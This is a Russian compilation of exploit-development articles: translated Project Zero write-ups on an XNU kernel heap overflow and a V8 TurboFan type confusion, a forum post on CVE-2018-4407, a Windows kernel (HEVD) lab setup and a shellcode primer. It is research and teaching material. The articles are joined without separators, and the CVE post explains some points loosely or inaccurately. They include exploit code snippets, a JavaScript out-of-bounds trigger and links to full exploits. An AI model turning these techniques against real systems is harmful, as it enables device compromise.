На этой стадии обработчик прерываний ядра будет вызывать метод
exception_deliver
, который ищет порт исключений потока и вызывает MIG-метод
mach_exception_raise_state
, создающий на базе состояния регистра потока,
терпящего крах, MIG-сообщение и вызов функции mach_msg_rpc_from_kernel_body
.
Метод mach_msg_rpc_from_kernel_body
берет предварительно выделенную
структуру ipc_kmsg
порта исключений, и на базе ранее измененного поля
ikm_size
выравнивает отосланное сообщение по окончанию буфера «нового»
размера:
Рисунок 6: Схема перезаписи участка кучи
Чтобы повторно считать данные мы должны получить сообщение об исключении. В
этом случае мы заставили ядро отправить сообщение на первый порт, который
записывает корректный заголовок во второй порт. Здесь возникает закономерный
вопрос: зачем использовать примитив, нарушающий целостность памяти, для
перезаписи заголовка следующего сообщения информацией, которую уже содержит
это сообщение.
Как вы помните, мы только что отослали и немедленно получили сообщение. Соответственно, будем считываться повторно то, что только что записано. Для того чтобы повторно считать нечто интересное, мы должны внести изменения в то место. Мы можем отослать сообщение на второй порт после отсылки сообщения на первый порт, но перед получением сообщения.
Ранее говорилось, что если очередь сообщений порта – пустая, при добавлении
сообщения в очередь поле ikm_next
будет указывать на само сообщение. Отсылая
сообщение на второй порт (перезаписывая заголовок так, что структура
ipc_kmsg
остается корректной и неиспользуемой), а затем повторно считывая
сообщение, отосланное на первый порт, мы можем определить адрес буфера
структуры ipc_kmsg
второго порта.
От чтения/записи к произвольному чтению/записи
У нас получилось на базе единичного переполнения кучи сделать надежный метод
перезаписи и повторного чтения содержимого размером 240 байт, находящегося
после объекта ipc_kmsg
первого порта. Мы также знаем, что тот участок
представляет собой пространство виртуальных адресов ядра. Последний шаг –
научиться произвольным операциям чтения/записи в память ядра.
При разработке эксплоита проекта mach_portal я работал напрямую с портом задачи ядра. В этот раз я решил пойти другим путем и воспользовался трюком, использованным в [эксплоите Pegasus](https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits- technical-details.pdf).
Разработчик этого эксплоита обнаружил, что метод Serializer::serialize
фреймворка IOKit прекрасно подходит на роль гаджета, позволяющего из вызова
функции с одним аргументом, указывающим на блок управляемой информации,
сделать вызов другой контролируемой функции с двумя полностью управляемыми
аргументами.
Чтобы воспользоваться этой схемой нам нужно суметь вызывать управляемый адрес,
передающий указатель в управляемый блок информации. Кроме того, нам нужно
знать адрес метода OSSerializer::serialize
.
Освобождаем второй порт и перераспределяем туда пользовательский IOKit-клиент:
Code:Copy to clipboard
// send another message on first
// writing a valid, safe header back over second
send_prealloc_msg(first_port, valid_header, 8);
// free second and get it reallocated as a userclient:
mach_port_deallocate(mach_task_self(), second_port);
mach_port_destroy(mach_task_self(), second_port);
mach_port_t uc = alloc_userclient();
// read back the start of the userclient buffer:
buf = receive_prealloc_msg(first_port);
// save a copy of the original object:
memcpy(legit_object, buf, sizeof(legit_object));
// this is the vtable for AGXCommandQueue
uint64_t vtable = buf[0];
Метод alloc_userclient
размещает пользовательский клиент типа 5,
принадлежащего классу AGXAccelerator IOService
, который представляет собой
объект AGXCommandQueue
. В операторе new IOKit-клиента по умолчанию
используется функция kalloc
, а объект занимает размер 0xdb8. Таким образом,
будет использоваться зона kalloc.4096
и повторно использоваться только что
освобожденная память, где раньше находилась структура ipc_kmsg
второго
порта.
Обратите внимание, что мы отослали сообщение с корректным заголовком на первый
порт, который перезаписал заголовок второго порта. Подобное необходимо для
того, чтобы после освобождения порта и повторного использования памяти для
пользовательского клиента, мы могли вывести сообщение из очереди первого порта
и обратно считать первые 240 байт объекта AGXCommandQueue
. Первые 8 байт
(qword) представляют собой указатель на таблицу vtable
объекта
AGXCommandQueue
, используя которую мы можем определить KASLR-слайд (Kernel
address space layout randomization; Рандомизация размещения адресного
пространства ядра) и найти адрес метода OSSerializer::serialize
.
Вызывая любой MIG-метод фреймворка IOKit в пользовательском клиенте,
представляющим собой объект, мы, по сути, делаем три виртуальных вызова.
::retain()
будет вызываться из метода iokit_lookup_connect_port
, который в
свою очередь вызывается из метода intran, привязанного к порту
пользовательского клиента. Этот метод также вызывает метод ::getMetaClass()
.
В самом конце MIG-оболочка вызывает метод iokit_remove_connect_reference
,
вызывающий метод ::release()
.
Поскольку все эти методы являются виртуальными и будут передавать указатель в
качестве первого (скрытого) аргумента, мы сможем удовлетворить нужные
требования и воспользоваться гаджетом OSSerializer::serialize
. Рассмотрим
подробнее, как работает эта схема.
Code:Copy to clipboard
class OSSerializer : public OSObject
{
OSDeclareDefaultStructors(OSSerializer)
void * target;
void * ref;
OSSerializerCallback callback;
virtual bool serialize(OSSerialize * serializer) const;
};
bool OSSerializer::serialize( OSSerialize * s ) const
{
return( (*callback)(target, ref, s) );
}
После изучения дизассемблированной версии метода OSSerializer::serialize, все проясняется еще больше:
Code:Copy to clipboard
; OSSerializer::serialize(OSSerializer *__hidden this, OSSerialize *)
MOV X8, X1
LDP X1, X3, [X0,#0x18] ; load X1 from [X0+0x18] and X3 from [X0+0x20]
LDR X9, [X0,#0x10] ; load X9 from [X0+0x10]
MOV X0, X9
MOV X2, X8
BR X3 ; call [X0+0x20] with X0=[X0+0x10] and X1=[X0+0x18]
Поскольку у нас есть доступ на чтение/запись первых 240 байтов клиента
AGXCommandQueue
, и мы знаем местонахождения клиента в памяти, то можем
сделать перезапись на поддельный объект, который будет вызывать произвольный
указатель функции с двумя управляемыми аргументами при помощи метода
::release
.
Рисунок 7: Схема добавления в память поддельного объекта
Мы перенаправили указатель на vtable
, чтобы указывать обратно на этот
объект, и элементы vtable
могли чередоваться с данными. Теперь нам нужен еще
один примитив, который преобразует вызов функции с двумя управляемыми
аргументами в произвольное чтение/запись в память.
Функции наподобие copyin
и copyout
– очевидные кандидаты, поскольку могут
обрабатывать любые сложности, связанные с копированием через границы
пользовательской части и ядра. Однако обе эти функции принимают три аргумента:
источник, приемник и размер.
Поскольку мы уже умеем читать и писать поддельный объект из userspace, то
можем просто скопировать значения в/из буфера ядра, а не копировать в/из
userspace напрямую. То есть нам нужно поискать другие функции, наподобие
memcpy
. Однако memcpy
, memmove
и bcopy
также принимают три аргумента,
и нам нужна обертка вокруг одной из этих функций, в которой используется
фиксированный размер.
По результатам поиска по перекрестным ссылкам находим функцию uuid_copy:
Code:Copy to clipboard
; uuid_copy(uuid_t dst, const uuid_t src)
MOV W2, #0x10 ; size
B _memmove
Эта функция представляет собой простую обертку вокруг функции memmove, которая всегда принимает фиксированный размер в 16 байт. Теперь интегрируем конечный примитив в гаджет сериализатора:
Рисунок 8: Финальная версия гаджета сериализатора
Для перехода от чтения к записи нужно поменять местами порядок аргументов,
чтобы скопировать содержимое по произвольному адресу в поддельный объект из
пользовательской части и затем получить исключения для чтения информации.
Вы можете загрузить мой эксплоит для iOS 10.2 в iPod 6G отсюда:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4
Эта брешь была независимо обнаружена и использована Марко
Грассии
qwertyoruiopz. В том эксплоите
применяется другой подход, эксплуатирующий эту уязвимость, который также
используется mach-порты.
Заключение
У каждого разработчика бывают ошибки, которые, в целом, являются неотъемлемой
частью процесса разработки программного обеспечения (особенно, когда в дело
вступает компилятор). Однако новый код ядра в устройствах серии 1B+ на базе
XNU заслуживает особого внимания. На мой взгляд, эта уязвимость, в случае с
компанией Apple, появилась из-за небрежности во время анализа кода. Надеюсь,
все похожие бреши и опубликованные статьи будут учтены на будущее.
Еще более важным я считаю то, что эта уязвимость была бы найдена, если бы выполнялось тестирование кода. Кроме того, код полностью не работоспособен в случае, если размер более 256 байт. В MacOS подобные эксперименты привели к немедленной панике ядра. Подобное происходило потому, что в стандартах, скорее всего, не предусмотрены простейшие регрессионные тесты для таких важнейших участков кода.
К сожалению, ядро XNU – не единственное в этом списке, и подобные истории являются довольно распространенными. Например, компания LG использует ядро в ОС Android с новым системным вызовом с простейшей уязвимостью, связанной с отсутствием границ в функции strcpy, которая возникает во время выполнения обычных операций в браузере Chrome. Более того, новый системный вызов конфликтует с номером системного вызова для sys_seccomp. Эту функцию пытались добавить в Chrome с целью предотвращения эксплуатации подобного рода уязвимостей.
_Перевод<https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-
data.html>
Опубликовал Стефан Рёттгер (Stephen Röttger) _
В данном блоге я хочу представить crbug.com/944062,
уязвимость в JavaScript компиляторе TurboFan браузера Chrome, которая была
обнаружена независимо Сэмюелем (Samuel, saelo@) при тестировании с помощью
fuzzilli и мной при ручном
аудите кода. Ошибка была обнаружена в бета-версии, успешно исправлена, и не
попала в стабильную версию Chrome, но я думаю, что по ряду причин она
поучительна, и о ней стоит написать. Проблема возникла при обработке TurboFan
встроенной функции Array.indexOf
, и вначале выглядела просто как утечка
информации, её превращение в примитив для произвольной записи было
неочевидным. Кроме того, это наглядный пример распространенной ошибки JIT-
компиляторов: код делает предположения во время компиляции и не использует
соответствующие проверки этих предположений во время выполнения.
Уязвимость
Уязвимый код был обнаружен в JSCallReducer::ReduceArrayIndexOfIncludes
в
одной из оптимизаций TurboFan, которая была призвана заменить
Array.prototype.indexOf
оптимизированной версией для известного типа
элементов массива. Если вы незнакомы с типами элементов, я рекомендую
https://v8.dev/blog/elements-kinds . Если коротко, элементы массива могут
храниться по-разному, например, как числа с плавающей запятой или как
тегированные указатели в массивах С++ фиксированного размера, или, в худшем
случае, в качестве словаря. И, если тип элементов известен, для доступа к ним
компилятор может выдавать оптимизированный код в каждом конкретном случае.
Давайте посмотрим на уязвимую функцию:
JavaScript:Copy to clipboard
// For search_variant == kIndexOf:
// ES6 Array.prototype.indexOf(searchElement[, fromIndex])
// #sec-array.prototype.indexof
// For search_variant == kIncludes:
// ES7 Array.prototype.inludes(searchElement[, fromIndex])
// #sec-array.prototype.includes
Reduction JSCallReducer::ReduceArrayIndexOfIncludes(
SearchVariant search_variant, Node* node) {
CallParameters const& p = CallParametersOf(node->op());
if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) {
return NoChange();
}
Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
ZoneHandleSet<Map> receiver_maps;
NodeProperties::InferReceiverMapsResult result = NodeProperties::InferReceiverMaps(broker(), receiver, effect, &receiver_maps);
if (result == NodeProperties::kNoReceiverMaps) return NoChange();
[...]
Для Array.p.indexOf
компилятор выводит карту массива, используя функцию
InferReceiverMaps
. На карте представлена форма объекта, например, какое
свойство хранится, где и как хранятся элементы. Как следует из представленного
фрагмента, если карта неизвестна, в конце функции код будет принят, и
дальнейшей оптимизации функции не будет ([I]result == kNoReceiverMaps[/I])
.
На первый взгляд, это кажется разумным, пока вы не заметите, что
InferReceiverMaps
возвращает три возможных значения:
JavaScript:Copy to clipboard
enum InferReceiverMapsResult {
kNoReceiverMaps, // No receiver maps inferred.
kReliableReceiverMaps, // Receiver maps can be trusted.
kUnreliableReceiverMaps // Receiver maps might have changed (side-effect).
};
Возвращенные карты массивов могут быть ненадежными, то есть, побочные эффекты предыдущих операций могут изменить карту, например, превратить элементы с плавающей запятой в элементы словаря. Однако тип в основном является надежным: объект не может превратиться в число.
Это означает, что если карты массивов ненадежны, и у вас возникает зависимость от чего-либо, кроме типа экземпляра, вам необходима защита от изменений путём проверки во время выполнения. Существует два способа добавить проверку ваших предположений во время выполнения. Например, можно вставить в последовательность эффектов узел CheckMaps, который обработает код при ненадёжной карте.
Или, в качестве альтернативы, можно использовать такое свойство как «зависимости компиляции» (compilation dependencies), которое не добавляет проверку к коду, основанному на предположении, а вместо этого проверяет код, изменяющий это предположение. В этом случае, если возвращенные карты определены как стабильные, то есть ни в одном из объектов с данной картой никогда не наблюдался переход на другие карты, можно добавить [StableMapDependency](https://cs.chromium.org/chromium/src/v8/src/compiler/compilation- dependencies.h?rcl=84650dc1d0e932e73b23aa637d76a32d8144ad4a&l=44). Это зарегистрирует обратный вызов для отказа от оптимизации текущей функции в случае, если объект когда-либо выйдет из стабильной карты. Здесь возможны ошибки либо, если компилятор выполнит такую проверку без регистрации соответствующей зависимости компиляции, либо, если какой-либо путь к коду лишит законной силы предположение при отсутствии обратных вызовов (интересный пример, см. [SSD Advisory](https://ssd- disclosure.com/index.php/archives/3379)).
Уязвимость в данном случае заключается в том, что компилятор вообще не
добавляет никаких проверок во время выполнения в случае ненадежных карт, и мы
получаем путаницу в типах элементов. Если во время выполнения элементы с
плавающей запятой превратятся в словарь, Array.p.indexOf
выйдет за пределы,
поскольку словарь с 100000 элементами намного короче упакованного массива из
100000 значений с плавающей запятой.
Сэмюель продемонстрировал это на примере. Ниже - немного улучшенная версия кода для иллюстрации:
JavaScript:Copy to clipboard
function f(idx, arr) {
// Transition to dictionary mode in the final invocation.
arr.__defineSetter__(idx, ()=>{});
// Will then read OOB.
return arr.includes(1234);
}
f('', []);
f('', []);
%OptimizeFunctionOnNextCall(f);
f('1000000', []);
Утечка информации
Первое, что можно сделать для создания эксплойта, - это превратить данную
ошибку в утечку информации. Обратите внимание, что Array.p.indexOf
проверяет
строгое равенство элементов, что в принципе сводится к сравнению указателей
для объектов кучи или сравнению значений для примитивов. Поскольку
единственное возвращаемое нам значение - это индекс элемента в массиве, наша
единственная опция, по-видимому, полный перебор (брутфорс) для указателя.
Идея состоит в том, чтобы превратить массив чисел с плавающей запятой в
словарь, заставить indexOf
считывать данные за пределами границ и
организовать полный перебор по параметру searchElement
, пока он не вернет
OOB (out-of-band) индекс указателя, утечку которого мы планируем, а именно,
указателя на место хранения ArrayBuffer
. Нам также нужно поместить значение
поиска в память за указателем ArrayBuffer
, чтобы все неудачные попытки не
выходили за пределы кучи и не вызывали ошибку сегмента. Наш макет памяти будет
выглядеть примерно так:
Наш указатель ArrayBuffer
будет выровнен по странице, что немного уменьшает
объёмы полного перебора. Но чтобы ещё более ускорить атаку, можно использовать
дополнительный приём, который позволяет перебирать старшие 32 бита отдельно.
Оптимизация V8 позволяет хранить малые целые числа (Smi) и объекты кучи в
одном месте, используя теги для представления объектов. На x64 все указатели
имеют единицу в самом младшем значащем бите, а Smi - ноль; при этом старшие 32
бита используются для хранения фактического значения. Проверяя самый младший
значащий бит , V8 может различать Smi и указатель, и ему не нужно делать
обёртку числа Smi в объект кучи. Это означает, что при использовании массива
тегированных объектов и чисел Smi для нашего OOB-доступа мы организуем полный
перебор для старших 32 бит указателя, используя Smi в качестве параметра
searchElement.
При реализации этой атаки я постоянно вызывал сбой, в котором ошибка выходила за пределы кучи, вне диапазона, который я поместил в память. Для меня поначалу оказалось трудной задачей подобрать правильную схему памяти, чтобы мои два шага полного перебора сработали. Причина обнаружилась после небольшой отладки. После примерно 0x2000000 попыток брутфорса, включается сборщик мусора и перемещает объекты, нарушая требуемую компоновку кучи. К счастью, эта проблема легко преодолевается: если брутфорс не удался после 0x1000000, переместите ArrayBuffer и начните сначала, пока указатель не окажется в необходимом диапазоне.
Произвольная запись
Теперь рассмотрим, как эту ошибку можно превратить в произвольную запись. Когда я сказал, что проверка строгого равенства в основном сводится к сравнению указателей, я не упомянул особый случай: строки. Строки в V8 имеют множественное представление. Обычная строка, состоящая из длины и байтов в памяти, представлена классом SeqString. Но есть также SlicedString, которая является фрагментом другой строки, и ConsString, которая представляет собой объединение двух строк и более.
Если V8 сравнивает две строки, даже при строгом равенстве, он сначала
проверяет равенство длины и первого символа, и, если они равны, выравнивает
обе строки до SeqString
, чтобы затем легко их сравнить.
Так как мы уже знаем адрес контролируемой памяти с указателем на наш
ArrayBuffer, мы можем создать там поддельный строковый объект и использовать
баг чтения OOB, чтобы вызвать type confusion между float и объектом кучи. Это
позволит нам вызвать выравнивание для нашей поддельной строки. Моей первой
идеей было переполнение буфера, который выделен для результата, создав
ConsStrings, в котором левая длина плюс правая длина была бы больше общей
длины. Это работает, и я полагаю, что подобный эксплойт возможен, однако после
переполнения я всегда оказывался в ситуации, когда следующая запись
происходила со смещением, близким к INT_MIN
или INT_MAX
, и запускала
ошибку сегментации.
Существует более общий способ превратить данную ошибку в произвольную запись, эксплуатируя фазу маркировки сборщика мусора (рекомендую почитать https://v8.dev/blog/trash-talk). Чтобы понять этот механизм, сделаем небольшое отступление и посмотрим на структуру памяти в V8. Куча организована в нескольких так называемых пространствах. Большинство новых объектов попадают в новое пространство, которое делится на две части. Память здесь распределяется линейно, что позволяет легко контролировать относительные смещения между объектами. Раунд сборки мусора перемещает объекты из одной части нового пространства в другую, и, если они переживут два раунда сбора, тогда происходит их перемещение в старое пространство. Кроме того, есть несколько специальных пространств для некоторых объектов, например для больших объектов, для карт или для кода. Во время написания пробелы всегда выровнены до 2<<18 или 2<<19 байтов, поэтому вы можете найти специфичные для пространства метаданные для данного объекта кучи, маскируя младшие биты указателя.
Так что же произойдет, если сборщик мусора начнет работать, пока V8
обрабатывает наш поддельный строковый объект? GC пройдет через все живые
объекты и пометит, что они живы. Для этого он начнёт со всех глобальных
объектов, всех объектов, которые в данный момент находятся в стеке, и, в
зависимости от типа GC, может опционально запустить все объекты в старом
пространстве с указателями на новое пространство. Поскольку наш поддельный
строковый объект в настоящее время находится в стеке, GC попытается пометить
его как живой. Для этого он начнёт маскировать младшие биты указателя, чтобы
найти метаданные пространства, взять указатель на окно маркировки (marking
bitmap) и установить бит, сместившись на расстояние, которое соответствует
смещению нашего объекта в пространстве. Однако, поскольку место хранения
нашего ArrayBuffer
не является объектом кучи V8 и, следовательно, не
находится в самом пространстве, метаданные могут также храниться в управляемой
пользователем памяти. Установив указатель окна маркировки на произвольное
значение, мы получаем примитив для установки бита по любому выбранному адресу.
Окончательный макет памяти будет выглядеть примерно так:
В качестве цели для перезаписи я выбрал длину резервного хранилища массива, поскольку это дает очень надёжный примитив, легко превращаемый в утечку объекта и произвольную запись. Единственным оставшимся препятствием является утечка адреса поля длины. Мы можем попытаться повторно организовать брутфорс для этого адреса, но это займет немного больше времени, так как на этот раз указатель не будет выровнен по странице.
Вместо этого мы можем использовать операцию выравнивания строк и получить
указатель на новое пространство, если мы запустим её правильно. Создадим
поддельную ConsString
для выравнивания, снова используя наш OOB-примитив.
Напомню, что для запуска выравнивания нам просто нужно правильно задать первый
символ и длину. Размещение в памяти будет в конечном итоге либо в новом, либо
в старом пространстве, в зависимости от того, где находилась исходная строка,
в новом или старом пространстве. Мы контролируем это, устанавливая флаг в
наших поддельных метаданных. После того, как произошло выравнивание, V8
заменит левый указатель нашей ConsString
указателем на выровненную строку, а
правую сторону - на пустую строку, и мы сможем прочитать эти указатели обратно
из нашего ArrayBuffer
. Поскольку размещение в новом пространстве происходит
линейно, наш поврежденный массив будет иметь предсказуемое смещение.
После того, как мы повредили значение поля длины массива, мы можем использовать его для перезаписи других данных в куче, чтобы получить нужные нам примитивы. В Интернете есть множество статей, к которым можно теперь перейти, например, этот замечательный [пост ](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#javascript- exploitation-primitives)Андреа Биондо (Andrea Biondo, @anbiondo). Вы можете найти эксплойт вплоть до повреждения длины массива [здесь](https://bugs.chromium.org/p/project- zero/issues/detail?id=1809#c4). Это написано для ручной сборки Chrome 74.0.3728.0.
Вывод
Уже не раз было показано, что ошибки, которые на первый взгляд не кажутся
серьезными, можно превратить в эксплойт с произвольным чтением / записью. В
рассмотренном случае, в частности, запуск сборщика мусора после размещения
нашего поддельного указателя в стеке предоставил нам очень сильный примитив
для эксплойта. Команда V8 исправила ошибку очень быстро, как обычно. Более
того, они запланировали рефакторинг функции InferReceiverMaps
, чтобы
предотвратить подобные проблемы в будущем. Когда я впервые обратил внимание на
эту функцию, я был убежден в ошибочности одного из вызовов и провёл аудит всех
вызовов. В то время я не смог найти уязвимость, но несколько месяцев спустя я
наткнулся на этот недавно добавленный код, в котором не хватало необходимых
проверок во время выполнения. Оглядываясь назад, пожалуй, стоило бы указать
команде на этот сомнительный API ещё до обнаружения уязвимостей.
Кроме того, подобный упреждающий рефакторинг мог бы сделать какой-нибудь внешний участник и стать отличным кандидатом на награду от Patch Reward Program. Так что, если у вас есть идея, как предотвратить возможные ошибки, пусть даже для уязвимостей, обнаруженных другими исследователями, подумайте о том, чтобы представить её в команде V8 и внести свой вклад в код, и, возможно, получить заслуженную награду.
Доброго времени суток форумчане! Сегодня я хочу рассказать про уязвимость переполнения буфера кучи в сетевом коде ядра XNU который используется почти во всех продуктах Apple.
Поехали!
Уязвимая версия: iOS 12
Heap overflow - Данные атаки не так хорошо изучены и описаны, по сравнению со stack overflow, но, тем не менее, широко распространены. Для хранения очень больших объемов данных часто используют heap - специальную область памяти, которая, в отличие от стека, растет вверх. В heap-based переполнении мы можем переписать указатели (например, указатель на файл - подставить туда свое значение, допустим /etc/shadow и если процесс запущен под рутом, то мы увидим содержимое этого файла), указатели на функции (к примеру, заменить адрес функции на адрес нашего шеллкода). Проблема все та же - использование небезопасных функций, отсутствие проверки границ, исполняемый heap.
Уязвимость заключается в сетевом коде ядра операционной системы XNU. Там стоит плохая защита которая не блокирует "вредные" пакеты и принимает как обычные. В итоге крашиться ядро и устройство перезагружаеться. Так как XNU используется как в iOS, так и в macOS, поэтому все iPhone, iPad и MacBook затронуты данной уязвимостью. Так же вместо того что бы крашить ядро можно указать вместо адреса функции, указать адрес шеллкода и перехватить управление над устройством посредством удалённого выполнения кода.
Как выглядит отправляемый запрос на краш ядра:
В новой версии iOS / OSX исправили эту уязвимость добавив улучшенную проверку,
но я считаю что данная уязвимость очень легка и есть масса способов обхода
защиты в новых версиях iOS / OSX.
Переполнение происходит за счёт того что мы отправляем 44, 76 байт мусора в кучу. Программа записывает данные за пределом кучи и устройство перезагружается.
До атаки:
После атаки:
Это статья была бы не интересна без эксплойта.
Видео:
Автор написал эксплойт и выложил в гитхаб.
Вот ссылка на репозиторий: <https://github.com/649/Crash-iOS- Exploit/blob/master/CVE-2018-4407.py>
автор @Semmle
**Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 1 – Настройка рабочей среды
Автор: **Mohamed Shahat
Эта серия статей появилась по двум причинам. Во-первых, мне нравится работать с проектом HackSysExtremeVulnerableDriver. Во-вторых, я получил массу пожеланий, чтобы осветить эту тему.
Весь код, используемый при написании этой серии, находится в моем репозитории.
В данном цикле статей мы рассмотрим написание эксплоитов уровня ядра в ОС Windows. Важно отметить, что мы будем иметь дело с известными уязвимостями, и в реверс-инжиниринге нет необходимости (по крайней мере, для драйвера).
Предполагается, что после ознакомления со всеми статьями вы будете знать все наиболее распространенные классы брешей и методы эксплуатации, а также сможете портировать эксплоиты с архитектуры x86 на архитектуру x64 (если возможно) и ознакомитесь с новыми методами защиты в Windows 10.
Схема отладки ядра
В отличие от отладки на уровне пользователя, когда приостанавливается выполнение отдельного процесса, на уровне ядра задействуется вся система, и мы не сможем воспользоваться этим методом. Соответственно, нужна отдельная отладочная машина, которая сможет осуществлять коммуникацию с системой, где отлаживается ядро, просматривать память и структуры ядра, а также отлавливать крахи системы.
Дополнительный материал для изучения:
Эксплуатация уязвимостей ядра
Этот процесс проходит намного веселее, чем эксплуатация на уровне пользователя J.
Главная цель – добиться привилегированного выполнения в контексте ядра. А
дальше уже все зависит от нашего воображения, начиная от застолья с домашним
пивом и заканчивая внедрением вредоносов, спонсируемых государством.
В целом, наша задача заключается в том, чтобы получить шелл с системными
привилегиями.
Темы статей этого цикла
Жизненный цикл разработки эксплоита уровня ядра
Типы целевых систем
Мы будем работать с уязвимостями в следующих системах (конкретная версия не принципиальна):
Начнем с архитектуры x86, и далее будем портировать эксплоит для системы Win7 x64. Некоторые эксплоиты не будут запускать на машинах с Win10 из-за присутствия новых защит. В этом случае мы либо будем изменять логику работы эксплоита, либо будем использовать полностью другой подход.
Используемое программное обеспечение:
Настройка систем для отладки
Отладочные системы, с которыми мы будем взаимодействовать, предназначены для загрузки уязвимого драйвера. На этих машинах часто будут возникать крахи, поскольку большинство исключений в ядре способствуют явлениям подобного рода. Необходимо выделить достаточно оперативной памяти для этих систем.
На каждой машине, которая будет отлаживаться, нужно сделать следующее:
В случае с Windows 10 VM необходимо включить режим test signing, который позволяет загружать неподписанные драйвера в ядро.
После выполнения команды bcdedit /set testsinging on и перезагрузки на рабочем столе появится надпись «Test Mode».
Примечание: Windows 10[ позволяет осуществлять отладку ядра через сеть](https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/setting-up-a-network-debugging-connection) . Этот способ, на мой взгляд, быстрее.
Code:Copy to clipboard
C:\Windows\system32>net user low low /add
The command completed successfully.
Настройкаотладчика
В системе, которая будет выступать в роли отладчика, будет использоваться WinDBG. Вы сможете инспектировать память, структуры данных и при необходимости выполнять манипуляции. Наличие удаленной отладочной сессии во время падения целевой системы позволит нам подключаться к виртуальной машине и анализировать крахи.
Хост VirtualKD будет выполнять коммуникацию автоматически через именованный канал, вместо установки соединения вручную. Если вы [отлаживаете через сеть](https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/setting-up-a-network-debugging-connection)в Win10 VM, потребуется протестировать соединение вручную.
Добавьте этот путь в качестве системного и установите путь к отладчику в VirtualKD
Перезапустите гостевые виртуальные машины. Система с VirtualKD, используемая в качестве отладчика, должна быть запущена. После перезагрузки вы сможете начать сессию в WinDBG.
Настройка WinDBG
Если все настроено корректно, WinDBG поставит выполнение на паузу и отобразит некоторую информацию, касающуюся целевой системы.
Рисунок 1: Остановка выполнения кода ядра
Символы содержат отладочную информацию для множества бинарных файлов в ОС Window. Загрузить символы можно при помощи следующей команды:
Code:Copy to clipboard
.sympath srv*c:\Symbols*http://msdl.microsoft.com/download/symbols;C:\HEVD
.reload /f *.*
Включаем режим подробного информирования процесса отладки.
Code:Copy to clipboard
ed nt!Kd_Default_Mask 0xf
Должен загрузиться модуль HEVD:
Code:Copy to clipboard
kd> lm m HEVD
Browse full module list
start end module name
fffff80b`92b50000 fffff80b`92b59000 HEVD (deferred)
Сохраняем настройки профиля и любые изменения рабочей среды:
Code:Copy to clipboard
File -> Save Workspace to File
Введите команду g или нажмите клавишу F5 для продолжения выполнения (перечень других команд, которые вам могут пригодиться, хорошо описан в этом документе).
Краткое описание модуля HEVD
Процедура [DriverEntry](https://msdn.microsoft.com/en- us/library/windows/hardware/ff544113%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396) является стартовой для каждого драйвера:
Code:Copy to clipboard
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = {0};
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
...
}
Пример: HACKSYS_EVD_IOCTL_STACK_OVERFLOW представляет собой IOCTL, используемый для активации бреши, связанной с переполнением стека.
На этом первая часть завершается. В следующей статье мы поговорим о полезных нагрузках. На данный момент доступна только полезная нагрузка, предназначенная для кражи токенов, которая будет использоваться в третьей части.
P.S. Я понимаю, что существует масса тонкостей и проблем, с которыми вы можете столкнуться. Поскольку в этом цикле основное внимание уделяется разработке эксплоитов, вам придется решать все попутные проблемы самостоятельно. Однако все возникающие вопросы вы можете задавать в комментариях.
Эта статья содержит обзор методов разработки шелл-кода и их специфических аспектов. Понимание этих концепций позволяет вам написать свой собственный шелл-код. Кроме того, вы можете изменить существующие эксплойты, содержащие уже созданный шелл-код, для выполнения необходимых вам пользовательских функций.
Вступление
Допустим, у вас есть рабочий эксплойт в Internet Explorer или Flash Player,
который открывает calc.exe. Это не очень полезно, не так ли? Что вы
действительно хотите - это выполнить некоторые удаленные команды или выполнить
другие полезные функции.
В этой ситуации вы можете захотеть использовать стандартные существующие шелл- коды, например, из[ базы данных Shell Storm](http://shell- storm.org/shellcode/) или сгенерированные из инструмента Metasploit msfvenom. Однако вы должны сначала понять основные принципы шелл-кодирования, чтобы вы могли эффективно использовать их в своих подвигах.
Для тех, кто не знаком с этим термином, как говорит Википедия:
«В области компьютерной безопасности шелл-код - это небольшой фрагмент кода, используемый в качестве полезной нагрузки при использовании уязвимости программного обеспечения. Он называется «шеллкод», потому что он обычно запускает командную оболочку, из которой злоумышленник может управлять скомпрометированной машиной, но любой фрагмент кода, выполняющий аналогичную задачу, может называться шеллкодом… Шеллкод обычно пишется на машинном коде ».
Шелл-код - это фрагмент машинного кода, который мы можем использовать в качестве полезной нагрузки для эксплойта. Что это за «машинный код»? Давайте возьмем в качестве примера следующий код C:
Это переводится в ASM как следующий код:
Здесь важно отметить, что есть основная процедура и вызов функции printf.
Этот код собран в машинный код, как вы можете видеть выделенным в отладчике:
Таким образом, «55 8B EC 68 00 B0 33 01…» - это машинный код для нашего кода C.
Как шелл-код используется внутри эксплойта?
Возьмем в качестве примера простой эксплойт, уязвимость переполнения буфера в
стеке.
Основная идея использования этой уязвимости заключается в следующем (обратите внимание, что целью данной статьи не является подробное описание работы эксплойтов переполнения буфера):
Если вы сможете успешно использовать эту уязвимость, вы сможете запустить свой шелл-код, и вы действительно сделаете что-то полезное с этой уязвимостью, а не только аварийно завершите работу программы. Шелл-код может открыть оболочку, загрузить и выполнить файл, перезагрузить компьютер, включить RDP или любое другое действие.
Особенности Shellcode
Шелл-код - это не какой-либо машинный код. Есть несколько конкретных аспектов,
которые мы должны учитывать при написании нашего собственного шелл-кода:
Давайте кратко обсудим каждый из вышеперечисленных вопросов.
